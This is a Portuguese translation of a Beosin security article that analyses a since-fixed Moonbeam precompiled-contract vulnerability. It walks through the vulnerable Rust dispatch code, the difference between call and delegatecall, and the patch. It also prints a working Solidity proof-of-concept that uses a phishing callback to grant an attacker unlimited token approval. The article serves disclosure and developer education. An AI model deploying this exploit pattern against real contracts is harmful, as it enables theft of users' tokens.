Série de auditorias de segurança: O que é uma vulnerabilidade de contrato pré-compilado?
Foto de GuerrillaBuzz no Unsplash
Em maio de 2022, um hacker ético chamado pwning.eth reportou uma grave vulnerabilidade em contratos pré-compilados para a Moonbeam, que poderia permitir que invasores transferissem arbitrariamente os ativos de qualquer usuário. Na época, a vulnerabilidade poderia causar uma perda potencial de US$ 100.000.000.
A vulnerabilidade está relacionada a chamadas para pré-compilados Ethereum não padronizados. Esses são endereços que permitem que a EVM ( Ethereum Virtual Machine ou Máquina Virtual Ethereum ), por meio de contratos inteligentes, acesse alguns dos recursos principais da Moonbeam (como nossos pallets XC-20, staking e democracy) que não existem na base EVM. Usando uma DELEGATECALL (chamada delegada), um contrato inteligente malicioso poderia acessar o armazenamento pré-compilado de outra parte por meio de um retorno de chamada.
Isso não é um problema para usuários típicos, pois exigiria que eles enviassem uma transação para o contrato inteligente malicioso. No entanto, é um problema para outros contratos inteligentes que permitem chamadas arbitrárias para contratos inteligentes externos. Por exemplo, esse é o caso de alguns contratos inteligentes que permitem retornos de chamada. Nessas situações, um usuário mal-intencionado poderia fazer com que uma DEX ( Decentralized Exchange ou Exchange Descentralizada ) executasse uma chamada para o contrato inteligente malicioso que seria capaz de acessar os pré-compilados fingindo ser a DEX e possivelmente transferir seu saldo para qualquer outro endereço.
A equipe de pesquisa de segurança Beosin mostrará em detalhes o princípio de exploração dessa vulnerabilidade.
O que é um contrato pré-compilado?
Na EVM, o código de um contrato é interpretado em instruções e executado uma por uma. Durante a execução de cada instrução, a EVM verifica as condições de execução, ou seja, se a taxa de gas é suficiente. Se o gas não for suficiente, a EVM emitirá um erro.
No processo de execução de transações, a EVM não armazena dados em registradores, mas em uma pilha. Cada operação de leitura e gravação deve começar do topo da pilha, portanto, sua eficiência operacional é muito baixa. Se uma verificação em execução for necessária, pode levar muito tempo para executar uma operação complexa. Em uma blockchain, muitas operações complexas são necessárias, como funções de criptografia e funções de hash (resumo criptográfico), o que torna muitas funções impossíveis de serem executadas na EVM.
O contrato pré-compilado é uma solução de compromisso projetada para a EVM executar algumas funções de biblioteca complexas (usadas para operações complexas como criptografia e hashing) que não são adequadas para execução na EVM. É usado principalmente para alguns cálculos complexos com lógica simples, algumas funções que são chamadas com frequência e contratos com lógica fixa.
Implantar contratos pré-compilados requer uma proposta EIP (Ethereum Improvement Proposal ou Proposta de Melhoria do Ethereum), que será sincronizada com cada cliente após aprovação. Por exemplo, alguns contratos pré-compilados são implementados pelaEthereum: ercecover() (recupera o endereço associado à chave pública a partir da assinatura da curva elíptica, endereço 0x1), sha256hash() (cálculo de hash SHA256, endereço 0x2) e ripemd160hash() (cálculo de hash Ripemd160, endereço 0x3). Essas funções são definidas com um custo de gas fixo, em vez de realizar cálculos de gas de acordo com o bytecode (código de bytes) durante o processo de chamada, o que reduz muito o custo de tempo e gas. Como o contrato pré-compilado geralmente é implementado no lado do cliente com código de cliente e não precisa usar a EVM, a velocidade de execução é rápida.
A vulnerabilidade do contrato pré-compilado do Moonbeam
No Moonbeam, a pré-compilação do Balance ERC-20 fornece uma interface ERC-20 para processar os tokens nativos do Balance. O contrato pode usar address.call para chamar contratos pré-compilados, onde o endereço é o endereço pré-compilado. A seguir estão os códigos anteriores do Moonbeam para chamar contratos pré-compilados.
fn execute(&self, handle: &mut impl PrecompileHandle) -> Option<PrecompileResult> {
match handle.code_address() {
// Pré-compilações do Ethereum :
a if a == hash(1) => Some(ECRecover::execute(handle)),
a if a == hash(2) => Some(Sha256::execute(handle)),
a if a == hash(3) => Some(Ripemd160::execute(handle)),
a if a == hash(5) => Some(Modexp::execute(handle)),
a if a == hash(4) => Some(Identity::execute(handle)),
a if a == hash(6) => Some(Bn128Add::execute(handle)),
a if a == hash(7) => Some(Bn128Mul::execute(handle)),
a if a == hash(8) => Some(Bn128Pairing::execute(handle)),
a if a == hash(9) => Some(Blake2F::execute(handle)),
a if a == hash(1024) => Some(Sha3FIPS256::execute(handle)),
a if a == hash(1025) => Some(Dispatch::<R>::execute(handle)),
a if a == hash(1026) => Some(ECRecoverPublicKey::execute(handle)),
a if a == hash(2048) => Some(ParachainStakingWrapper::<R>::execute(handle)),
a if a == hash(2049) => Some(CrowdloanRewardsWrapper::<R>::execute(handle)),
a if a == hash(2050) => Some(
Erc20BalancesPrecompile::<R, NativeErc20Metadata>::execute(handle),
),
a if a == hash(2051) => Some(DemocracyWrapper::<R>::execute(handle)),
a if a == hash(2052) => Some(XtokensWrapper::<R>::execute(handle)),
a if a == hash(2053) => Some(
RelayEncoderWrapper::<R, WestendEncoder>::execute(handle)
),
a if a == hash(2054) => Some(XcmTransactorWrapper::<R>::execute(handle)),
a if a == hash(2055) => Some(AuthorMappingWrapper::<R>::execute(handle)),
a if a == hash(2056) => Some(BatchPrecompile::<R>::execute(handle)),
// Se o endereço corresponder ao prefixo do ativo, ele será roteado pelo conjunto de pré-compilação do ativo
a if &a.to_fixed_bytes()[0..4] == FOREIGN_ASSET_PRECOMPILE_ADDRESS_PREFIX => {
Erc20AssetsPrecompileSet::<R, IsForeign, ForeignAssetInstance>::new()
.execute(handle)
}
// Se o endereço corresponder ao prefixo do ativo, ele será roteado pelo conjunto de pré-compilação do ativo
a if &a.to_fixed_bytes()[0..4] == LOCAL_ASSET_PRECOMPILE_ADDRESS_PREFIX => {
Erc20AssetsPrecompileSet::<R, IsLocal, LocalAssetInstance>::new().execute(handle)
}
_ => None,
}
}
O código acima é o método de execução (fn execute()) do conjunto de contratos pré-compilados moonbase implementado em Rust. Este método irá verificar o endereço do contrato pré-compilado a ser chamado e, em seguida, transferir os dados de entrada para diferentes contratos pré-compilados para processamento. O identificador (handle de interação pré-compilada) passado pelo método de execução inclui o conteúdo relevante em call(call_data) e informações de contexto da transação.
Portanto, ao chamar o contrato pré-compilado de token ERC20, é necessário chamar as funções relevantes do contrato pré-compilado de token ERC20 através do método 0x000…00802.call("função(tipo)", parâmetro) (0x802=2050).
No entanto, há um problema com o método de execução do conjunto de contratos pré-compilados moonbase, ou seja, o método de chamada de outros contratos não é verificado. Se você usar delegatecall(call_data) em vez de call(call_data) para chamar os contratos pré-compilados, haverá alguns problemas.
Vamos dar uma olhada na diferença entre usar delegatecall(call_data) e call(call_data):
1 .Ao usar uma conta EOA ( Externally Owned Account ou Conta de Propriedade Externa ) para usar address.call(call_data) no contrato A para chamar a função de outro contrato B, o ambiente de execução está no contrato B, e as informações do chamador (msg) são do contrato A, conforme mostrado na figura abaixo.
- Ao usar delegatecall, o ambiente de execução é no contrato A, as informações do chamador (msg) são de uma conta de pessoa física externa (EOA) e os dados armazenados no contrato B não podem ser modificados, como mostrado na figura abaixo.
Independentemente do método usado para a chamada, as informações do EOA e o contrato B não podem ser vinculados através do contrato A, o que torna as chamadas entre contratos seguras.
Portanto, o método de execução (fn execute()) do conjunto de contratos pre-compilados moonbase implementado em Rust não verifica o método de chamada. Quando o delegatecall é usado para chamar contratos pre-compilados, os métodos relevantes também serão executados nos contratos precompilados e escritos no armazenamento dos contratos pre-compilados. Ou seja, como mostrado na figura abaixo, quando uma conta EOA chama um contrato A malicioso escrito por um atacante, A usa o método delegatecall para chamar o contrato pré-compilado B. Isso escreverá os dados chamados em A e B ao mesmo tempo para realizar um ataque de phishing.
O processo de um ataque de phishing através da vulnerabilidade
Um atacante pode implantar o seguinte contrato de phishing e levar os usuários a chamar a função de phishing - uniswapV2Call, e a função irá chamar a função stealLater (roubar mais tarde) que implementa delegatecall(token_approve) novamente.
De acordo com as regras mencionadas acima, o contrato de ataque chama a função approve (aprovar) (asset=0x000...00802) do contrato de token. Quando o usuário chama uniswapV2Call, a autorização será escrita no armazenamento do contrato de phishing e do contrato pré-compilado ao mesmo tempo. O atacante só precisa chamar a função transferfrom (transferir de) do contrato pré-compilado para roubar os tokens dos usuários.
pragma solidity >=0.8.0;
contract ExploitFlashSwap {
address asset;
address beneficiary;
constructor(address _asset, address _beneficiary) {
asset = _asset;
beneficiary = _beneficiary;
}
function stealLater() external {
(bool success,) = asset.delegatecall(
abi.encodeWithSignature(
"approve(address,uint256)",
beneficiary,
(uint256)(int256(-1))
)
);
require(success,"approve");
}
function uniswapV2Call(
address sender,
uint amount0,
uint amount1,
bytes calldata data
) external {
stealLater();
}
}
Como corrigir o bug?
Os desenvolvedores do Moonbeam corrigiram o bug (falha) verificando se o endereço da EVM é consistente com o endereço pré-compilado no método de execução (fn execute()) do conjunto de contratos pré-compilados do Moonbase para garantir que somente o método call() possa ser usado para os endereços pré-compilados depois de 0x000…00009. O código corrigido é o seguinte:
fn execute(&self, handle: &mut impl PrecompileHandle) -> Option<PrecompileResult> {
// Filtrar endereços de pré-compilação conhecidos, exceto os oficiais da Ethereum
if self.is_precompile(handle.code_address())
&& handle.code_address() > hash(9)
&& handle.code_address() != handle.context().address
{
return Some(Err(revert(
"cannot be called with DELEGATECALL or CALLCODE",
)));
}
match handle.code_address() {
......
Conselho de segurança
Para evitar esse problema, a equipe de segurança da Beosin sugere que os desenvolvedores considerem a diferença entre delegatecall e call no processo de desenvolvimento. Se o contrato chamado puder ser chamado por meio de delegatecall, os desenvolvedores precisam pensar cuidadosamente em seus cenários de aplicação e princípios subjacentes e realizar testes rigorosos de código. É recomendável procurar uma empresa profissional de auditoria de blockchain para conduzir uma auditoria abrangente de segurança antes que um projeto seja lançado.
A Beosin é uma empresa líder global em segurança de blockchain co-fundada por vários professores de universidades de renome mundial, e conta com uma equipe de mais de 40 doutores em sua equipe. Tem escritórios em Cingapura, Coreia, Japão e outros 10+ países. Com a missão de "Proteger o ecossistema blockchain", a Beosin fornece uma solução abrangente de segurança blockchain "tudo-em-um" que abrange auditoria de contratos inteligentes, monitoramento e alerta de riscos, KYT/AML e rastreamento de criptomoedas. A Beosin já auditou mais de 3000 contratos inteligentes e protegeu mais de US $ 500 bilhões em fundos de nossos clientes. Você pode entrar em contato conosco visitando o link abaixo.
Este artigo foi escrito por Beosin e traduzido para o português por Rafael Ojeda
Você encontra o artigo original aqui
Latest comments (0)